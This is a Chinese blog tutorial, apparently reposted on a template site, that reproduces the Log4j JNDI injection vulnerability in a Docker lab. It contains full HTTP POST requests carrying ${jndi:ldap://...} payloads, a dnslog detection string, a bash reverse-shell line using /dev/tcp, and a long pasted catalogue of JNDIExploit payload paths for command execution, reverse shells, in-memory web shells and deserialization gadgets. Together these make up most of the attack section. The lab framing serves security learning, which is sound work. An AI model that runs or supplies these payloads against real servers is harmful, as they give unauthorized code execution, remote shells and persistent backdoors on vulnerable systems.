网络安全 log4j漏洞复现

这篇具有很好参考价值的文章主要介绍了网络安全 log4j漏洞复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言:

log4j被爆出“史诗级”漏洞。其危害非常大,影响非常广。该漏洞非常容易利用,可以执行任意代码。这个漏洞的影响可谓是重量级的。

漏洞描述:

由于Apache Log4j存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最终在目标上执行任意代码。简单点说,就是可以通过输入一些具有特殊意义的字符来攻击服务器。

如果入侵者在前端页面上输入了:${jndi:rmi://127.0.0.1:8080/evil} 这串字符, 然后后台用log4j记录了这串字符, log4j会自动使用jndi调用这个地址上的rmi内容。如果这个rmi的内容是删除数据库,重启服务器这种恶意程序,被攻击之后还是趁早跑路吧。(开个玩笑)

关于JNDI:

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源),JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA,摘自百度百科。

关于RMI:

RMI(remote method invocation)即远程方法调用,是允许运行在一个java虚拟机上的对象调用运行在另外一个java虚拟机上的对象的方法,JAVA RMI实现JAVA程序之间跨越JVM的远程通信。通过RMI可以让调用远程JVM上对象方法,仿佛调用本地JVM上对象方法一样简单、快捷。

log4j简介

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。
Log4j 1.2 中包含一个 SocketServer 类,该类容易受到不可信数据反序列化的影响,当侦听不可信网络流量以获取日志数据时,该类可被利用与反序列化小工具结合使用以远程执行任意代码。攻击者可利用该漏洞执行任意代码。
这会影响从 1.2 到 2.14 的 Log4j 版本。

log4j环境搭建

  • log4漏洞环境搭建(需要docker)
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln 
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh 

漏洞检测-dnslog

测试命令

${jndi:ldap://6zb6jy.dnslog.cn}

测试过程中,使用post数据包,添加Content-type:application/x-www-form-urlencoded

POST /webstudy/hello-fengxuan HTTP/1.1
Host: 10.211.55.5:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=20CF7810C7E2AFE7E0B0644E35340901
Content-type:application/x-www-form-urlencoded
Connection: close
Content-Length: 33
cmd:whoami

c=${jndi:ldap://6zb6jy.dnslog.cn}

dnslog平台成功回显,证明系统存在log4j漏洞

网络安全 log4j漏洞复现

命令执行

使用JNDI利用工具

java -jar JNDIExploit-1.3-SNAPSHOT-2.jar -i local_ip_address(vps地址)

header:Content-type: application/x-www-form-urlencoded

header:Content-type: application/x-www-form-urlencoded
c=${jndi:ldap://0.0.0.0:1389/tomcatBypass/TomcatEcho}
cmd:whoami
cmd:bash -i >& /dev/tcp/0.0.0.0/2333 0>&1
POST /webstudy/hello-fengxuan HTTP/1.1
Host: 10.211.55.5:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=20CF7810C7E2AFE7E0B0644E3534090
Content-type: application/x-www-form-urlencoded
Connection: close
Content-Length: 59
cmd:whoami

c=${jndi:ldap://0.0.0.0:1389/tomcatBypass/TomcatEcho}

成功执行命令并回显文章来源地址https://www.toymoban.com/news/detail-491715.html

//JNDIExploit-1.3-SNAPSHOT-2.jar 工具存在的paylaod
[+] Basic Queries: ldap://0.0.0.0:1389/Basic/[PayloadType]/[Params], e.g.
    ldap://0.0.0.0:1389/Basic/Dnslog/[domain]
    ldap://0.0.0.0:1389/Basic/Command/[cmd]
    ldap://0.0.0.0:1389/Basic/Command/Base64/[base64_encoded_cmd]
    ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://0.0.0.0:1389/Basic/TomcatEcho
    ldap://0.0.0.0:1389/Basic/SpringEcho
    ldap://0.0.0.0:1389/Basic/WeblogicEcho
    ldap://0.0.0.0:1389/Basic/TomcatMemshell1
    ldap://0.0.0.0:1389/Basic/TomcatMemshell2  ---need extra header [shell: true]
    ldap://0.0.0.0:1389/Basic/JettyMemshell
    ldap://0.0.0.0:1389/Basic/WeblogicMemshell1
    ldap://0.0.0.0:1389/Basic/WeblogicMemshell2
    ldap://0.0.0.0:1389/Basic/JBossMemshell
    ldap://0.0.0.0:1389/Basic/WebsphereMemshell
    ldap://0.0.0.0:1389/Basic/SpringMemshell

[+] Deserialize Queries: ldap://0.0.0.0:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
    ldap://0.0.0.0:1389/Deserialization/URLDNS/[domain]
    ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
    ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
    ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils2/TomcatEcho
    ldap://0.0.0.0:1389/Deserialization/C3P0/SpringEcho
    ldap://0.0.0.0:1389/Deserialization/Jdk7u21/WeblogicEcho
    ldap://0.0.0.0:1389/Deserialization/Jre8u20/TomcatMemshell
    ldap://0.0.0.0:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
    ldap://0.0.0.0:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2    ---ALSO support other memshells

[+] TomcatBypass Queries
    ldap://0.0.0.0:1389/TomcatBypass/Dnslog/[domain]
    ldap://0.0.0.0:1389/TomcatBypass/Command/[cmd]
    ldap://0.0.0.0:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
    ldap://0.0.0.0:1389/TomcatBypass/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://0.0.0.0:1389/TomcatBypass/TomcatEcho
    ldap://0.0.0.0:1389/TomcatBypass/SpringEcho
    ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell1
    ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell2  ---need extra header [shell: true]
    ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell3  /ateam  pass1024
    ldap://0.0.0.0:1389/TomcatBypass/SpringMemshell

[+] GroovyBypass Queries
    ldap://0.0.0.0:1389/GroovyBypass/Command/[cmd]
    ldap://0.0.0.0:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]

[+] WebsphereBypass Queries
    ldap://0.0.0.0:1389/WebsphereBypass/List/file=[file or directory]
    ldap://0.0.0.0:1389/WebsphereBypass/Upload/Dnslog/[domain]
    ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/[cmd]
    ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
    ldap://0.0.0.0:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://0.0.0.0:1389/WebsphereBypass/Upload/WebsphereMemshell
    ldap://0.0.0.0:1389/WebsphereBypass/RCE/path=[uploaded_jar_path]   ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp

到了这里,关于网络安全 log4j漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【java安全】Log4j反序列化漏洞

    关于Apache Log4j Log4j是Apache的开源项目,可以实现对System.out等打印语句的替代,并且可以结合spring等项目,实现把日志输出到控制台或文件等。而且它还可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码,满足了大多数要求。 就是用来打印日志的 漏洞成因

    2024年02月11日
    浏览(47)
  • ctfshow-Log4j复现-log4j复现

    1、买VPS,打开mobax进行ssh连接,开两个终端 一个终端开启监听 另一个终端进入JNDIExploit-1.2-SNAPSHOT.jar所在的目录jndiexploit执行下面命令 生成payload 构造payload 输入进去之后看结果 反弹shell成功 结束

    2024年02月12日
    浏览(54)
  • log4j复现之CVE-2017-5645

    一、靶机环境的安装 1.docker环境安装 2.下载vlnhub 由于网络原因,直接到官网去下,得到的压缩文件,然后对其解压即可。 二、编译启动靶机 三、漏洞利用 1.到官网下载 ysoserial-all.jar 文件 2.注意运行的Java环境是1.7

    2024年02月16日
    浏览(43)
  • log4j漏洞详解

    log4j全名就是(log for java),就是apache的一个开源的日志记录组件 ,它在Java项目中使用的比较广泛。 使用方法:                 1.pom引入依赖                 2.获取logger实例                 3.logger.info() debug() error() warn()... 优点:功能丰富,易于集成

    2024年02月16日
    浏览(44)
  • Log4j远程代码执行漏洞

    简介 漏洞描述 Apache Log4j 是 Apache 的一个开源项目,Apache log4j-2 是 Log4j 的升级,我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。 Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据日志

    2024年02月11日
    浏览(67)
  • log4j JNDI注入漏洞

    目录 log4j JNDI注入漏洞 一、LDAP介绍 二、JDBC介绍 三、JNDI介绍 四、JNDI命名引用 五、log4j JNDI注入漏洞 ​LDAP是一种协议,LDAP 的全称是 Lightweight Directory Access Protocol,轻量目录访问协议。 ​JDBC是一种规范,JDBC的全称是Java数据库连接(Java Database connect),它是一套用于执行SQL语句

    2024年02月01日
    浏览(45)
  • log4j漏洞原理及攻击流程

    log4j漏洞最早出现在2021年11月24日一位阿里安全团队的员工发现的,上报到Apache之后,12月10日凌晨才被公开。该漏洞威胁等级较高。基本比肩与阿里当年的fastjson漏洞。 漏洞地址: Log4j是一种流行的Java日志记录工具,其升级版本Log4j 2存在安全漏洞。这个漏洞是由Log4j 2的lookup功

    2024年02月16日
    浏览(39)
  • fastJson反序列化漏洞和log4j漏洞

    有 attach.class (编译好的文件) 攻击者建立rmi服务端,于rmi服务端建造一系列攻击对象 ,假设远程地址为 http://abc,可url链接到恶意class-attach.class 若被攻击者访问到此服务 rmi://abc/attach.class ,静态代码块会优先加载,无需构造对象。 fastJson通过序列化漏洞 fastJson=1.2.47 (高版本添

    2024年02月16日
    浏览(58)
  • 【实战】一次简单的log4j漏洞测试

    更新时间:2021.12.19 参考文档:https://www.yuque.com/u8021480/crow/dg9xax 在去年 log4j 漏洞刚爆发的时候,很多平台都存在漏洞,当时也在第一时间在有授权的情况下对某论坛进行了渗透测试,结果发现存在漏洞,报告之后,漏洞也被很快修复。 本次对该渗透过程进行一个简单的记录

    2023年04月26日
    浏览(50)
  • 深入解析著名的阿里云Log4j 漏洞

    几乎每个系统都会使用日志框架,用于记录日志信息,这些信息可以提供程序运行的上下文,但是日志过多也会影响系统的性能,所以好的日志框架应该是可靠,快速和可扩展的。 Apache Log4j2 是一个基于 Java 的日志工具,是Log4j的升级版本,引入了很多丰富的特性,包括高性

    2024年02月16日
    浏览(53)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包